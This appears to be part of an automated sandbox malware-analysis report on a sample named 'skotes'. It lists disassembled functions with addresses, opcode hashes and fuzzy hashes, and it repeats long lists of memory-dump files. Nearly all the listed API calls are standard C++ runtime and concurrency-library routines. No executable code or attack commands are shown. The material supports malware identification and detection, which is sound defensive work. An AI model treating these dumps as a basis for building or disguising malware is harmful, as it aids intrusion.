Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 7acac8ed17f9f2dcda07771ba82c71dad02885608905c88110fffeca0344bc4d
Instruction ID: f617feeb3c855923a1c59e82c27582a81435b2d0fda7c313e0eff99e820cbf16
Opcode Fuzzy Hash: 7acac8ed17f9f2dcda07771ba82c71dad02885608905c88110fffeca0344bc4d
Instruction Fuzzy Hash: 3941F274604210ABDF199B24C896BFEBB7BAF45310F08459DE5069B3C2CB70AD85C7D1

Function 006156AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 006156F2
_InternalDeleteHelper.LIBCONCRT ref: 00615726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 0061578B
SafeRWList.LIBCONCRT ref: 0061579A

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 5070a0b6315d60b41e30f6875db27f86a3eb86e680517a3dcff2c25afdd8d670
Instruction ID: 668bda0291c71407f06897aded752554fc4b5f42af1c317dd311dc300a63cc03
Opcode Fuzzy Hash: 5070a0b6315d60b41e30f6875db27f86a3eb86e680517a3dcff2c25afdd8d670
Instruction Fuzzy Hash: FC310336700610DFDB099F20C885AEDB7A7AFC9710F18427DE9069B395DF71AD458790

Function 00612CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00612D0F

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: acc73dba38cf3c8113de77e6c4210a33be6fb471b0e66d7ad4a2b6744deef744
Instruction ID: b95edb466bf15fdd954f780fdddbe5b30342d89ba79c2014cbad14867b2543cf
Opcode Fuzzy Hash: acc73dba38cf3c8113de77e6c4210a33be6fb471b0e66d7ad4a2b6744deef744
Instruction Fuzzy Hash: 7D313A75A0030ADFCF10DF94D490AEE7BBAAF45310F1804AAD9019B346D770A995DBA0

Function 006213F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 006213FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00621447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 0062147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 0062152A

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: cc2b2a730a23b2ee207a73ceec9a65e930cc3a6b24004e713198d8bcd23aff55
Instruction ID: 6296bebfd76162320c36886e2595c132abf46fa6fff4476c55b635d1f510bcff
Opcode Fuzzy Hash: cc2b2a730a23b2ee207a73ceec9a65e930cc3a6b24004e713198d8bcd23aff55
Instruction Fuzzy Hash: 49316271E00A169BCB44EFA8D4915EDFBF6BF99710B14822DE415AB381CB34AA41CF94

Function 0060BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0060BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0060BBE4
_xtime_get.LIBCPMT ref: 0060BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0060BC13

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 85ab33dd228ecde567b120bdfb3759a6afbe2ab9741ea01ea850cb6d1028f085
Instruction ID: cda47d63e1a8c6ec73fb5afb9e2ce7f9aa5fcc926613e40d54cd5fe4acb82b3a
Opcode Fuzzy Hash: 85ab33dd228ecde567b120bdfb3759a6afbe2ab9741ea01ea850cb6d1028f085
Instruction Fuzzy Hash: C5215175A40119AFDF04EFA4CC819BFB7BAEF09720F105119FA01B7291DB719D019BA5

Function 00619C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00619C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00619CE8
std::bad_exception::bad_exception.LIBCMT ref: 00619CFE
std::bad_exception::bad_exception.LIBCMT ref: 00619D6A

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 7832aa12e0d9ad9a2659ea977ca009086958929e67e409a1113107f37ef43769
Instruction ID: 8c30883d3c5284005ee503af0b8d98a33e1e8363ace33ac999464786793b2cef
Opcode Fuzzy Hash: 7832aa12e0d9ad9a2659ea977ca009086958929e67e409a1113107f37ef43769
Instruction Fuzzy Hash: 1D21F875D009049FCB48EFA4E492DEEB7F6EF05310B29406DF001AB291DB316E81CB64

Function 0061A026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0061A069

Part of subcall function 0061B560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 0061B5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0061A07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0061A0CB

Part of subcall function 0061AB41: List.LIBCONCRT ref: 0061AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0061A0DB

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
